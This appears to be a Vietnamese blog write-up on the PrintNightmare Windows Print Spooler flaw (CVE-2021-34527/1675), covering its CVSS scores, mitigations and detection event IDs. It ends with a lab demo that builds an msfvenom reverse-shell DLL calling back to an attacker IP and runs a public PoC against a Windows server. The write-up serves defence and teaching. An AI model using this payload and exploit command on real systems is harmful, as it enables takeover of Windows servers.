CVE-2021-34527 & CVE-2021-1675
I.Tổng quan
1. Mô tả
-Microsoft Window Print Spooler
service gặp vấn đề khi hạn chế truy cập từ 1 function cho phép user add printer
và driver liên quan, điều này cho phép 1 attacker đã được authen với
low-priv có thể thực thi bất kì code nào
dưới quyền system. Service này mặc định được enable và running.
-Attacker có thể cài program, xem,
thay đổi, xóa dữ liệu, tạo account với full quyền.
-Ảnh hưởng: Windows Server 2012,
Windows Server 2016, Window 10 1607.
-Được chấm theo thang CVSSv3:
+Score base metric: 8,8
+Temporal score metric: 8,2
2. Metric
a. Base score metric
-Attack vector: Network(tấn công qua hệ
thống mạng)
-Attack Complexity: Low(Không yêu cầu nhiều điều kiện để thực hiện
cuộc tấn công)
-Privileges Required: Low(User chỉ cần
cần low-priv)
-User Interaction: None(Không cần
tương tác từ user)
-Scope: Unchanged.(Không ảnh hưởng tới
các thành phần khác)
-Confidentiality: High(Ảnh hưởng tới bảo
mật: cao)
-Integrity: high(Ảnh hưởng tính toàn vẹn:
cảo)
-Availbility: High(Ảnh hưởng tới tính
sẵn sàng của hệ thống: cao)
b. Tempral scrore metric
-Exploit Code Maturity:
Functional(Đánh giá dựa trên kĩ thuật khai thác)
-Remediation Level: Oficial Fix(Đánh
giá dựa trên sự ưu tiên fix cho vuln)
-Report Confidence: Confirmed(Đánh giá
dựa trên việc lỗ hổng được công khai cách khai thác và kiến thức attacker cần
có để khai thác)
3. Đánh giá
-PrintSpooler được enable mặc định nên
phạm vi của lỗ hổng rất lớn
-Attack vector là network nên thường
attack sẽ xảy ra trong mạng LAN hoăc do mở các port trên firewall như
135,139/tcp ; 445/tcp.
-Ảnh hưởng chủ yếu tới các print
server,phần lớn là Windows Server.
-Chỉ cần có user với low-priv là đã có
khả năng chiếm quyền toàn bộ hệ thống mà không cần bất kì tương tác gì từ user
hay admin.
4. Cách khắc phục
-Update các phiên bản mới nhất
-Stop và disable Print Spooler Service
Stop-Service
-Name Spooler -Force
Set-Service
-Name Spooler -StartupType Disabled
-Disable inbound remote printing thông
qua GPO
-Block RPC và SMB trên firewall với
RPC endpoint Mapper(135/tcp) và SMB(139/tcp)
-Enable Security prompts cho Point and
Print: Sau khi update , 1 registry value được gọi RestrictDriverInstallationToAdministrators trong HKLM\SOFTWARE\Policies\Microsoft\Windows
NT\Printers\PointAndPrint\ sẽ được kiểm ta với việc hạn chế quyền cài
driver chỉ cho user admin.
2. Chi tiết lỗ hổng
-Vấn đề nằm trong RpcAddPrinterDriver(),
1 legit function được thiết kế để cho phép remote printing và cài đặt driver.
Function này được thiết kế để cho phép users add driver và remote printer với SeLoadDriverPrivilege().
3. Nhận biết lỗ hổng
a. Dùng PoC
Dùng “rpcdump.py“ của PoC để scan các
host đang chạy Print System Remote Protocol.
b. Detect với window events
-Kiểm tra window event ID 4720 cho
local user được tạo bởi những user thêm vào trong local admin theo event ID
4732.(Vì có khả năng sau khi exploit thành công, attacker sẽ tạo 1 user với quyền
admin, monitor các event ID này để hạn chế khả năng này xảy ra)
-Enabling logging Microsoft Print
Service (Microsoft-Windows-PrintService/Admin), event ID 808 được log lại khi
print spooler load thất bại 1 plug-in module)
-Enable logging với Microsoft Print
Service operational events (Microsoft-Windows-PrintService/Operational), Event
ID được log lại khi printer drivers được thêm hay update.
c. Detect với với Use Case/SIEM rule
-Bất kì code nào chứa process
“spoolsv.exe” và đường dẫn chứa ”C:\Windows\System32\spool\drivers\x64\”
-File được đặt tên:
·
'UNIDRV.DLL'
·
'wdlres.dll'
·
'hpygidres20.dll'
·
'hpygidUI20.dll'
·
'ADUIGP.DLL'
·
'FXSTIFF.DLL'
·
'FXSAPI.DLL'
·
'x5lrs.dll'
·
'MXDWDRV.DLL'
·
'FXSUI.DLL'
·
'FXSRES.DLL'
·
'PrintConfig.dll'
·
'FXSDRV.DLL'
4.
Demo
-Thực hiện với WinServer 2016 ver
1607 IP :192.168.10.107 và máy attacker
là Kali Linux IP: 192.168.10.108
-Install
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
-Scanning
-Tạo smb server trên máy Linux để
share host payload
apt install samba
Config trong /etc/samba/smb.conf
[global] map to guest = Bad User server role = standalone server usershare allow guests = yes idmap config * : backend = tdb smb ports = 445 [smb] comment = Samba path = /tmp/ guest ok = yes read only = nobrowsable = yes
-Clone PoC
-Exploit
+tạo payload
cd /tmp
msfvenom -p windows/x64/shell_reverse_tcp Lhost=192.168.10.108
Lport=443 -f dll –o reverse.dll
+chạy payload này thông qua smb
cd /tmp/CVE-2021-1675
python3 CVE-2021-1675.py
PHUC:PassW0rd@192.168.10.107 '\\192.168.10.108\smb\reverse.dll'
+mở msf console
-Exploit thành công
***Nguồn tham khảo
https://doublepulsar.com/zero-day-for-every-supported-windows-os-version-in-the-wild-printnightmare-b3fdb82f840c
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34527
https://github.com/cube0x0/CVE-2021-1675
https://www.sirp.io/blog/soar-use-case-responding-to-printnightmare/







Nhận xét
Đăng nhận xét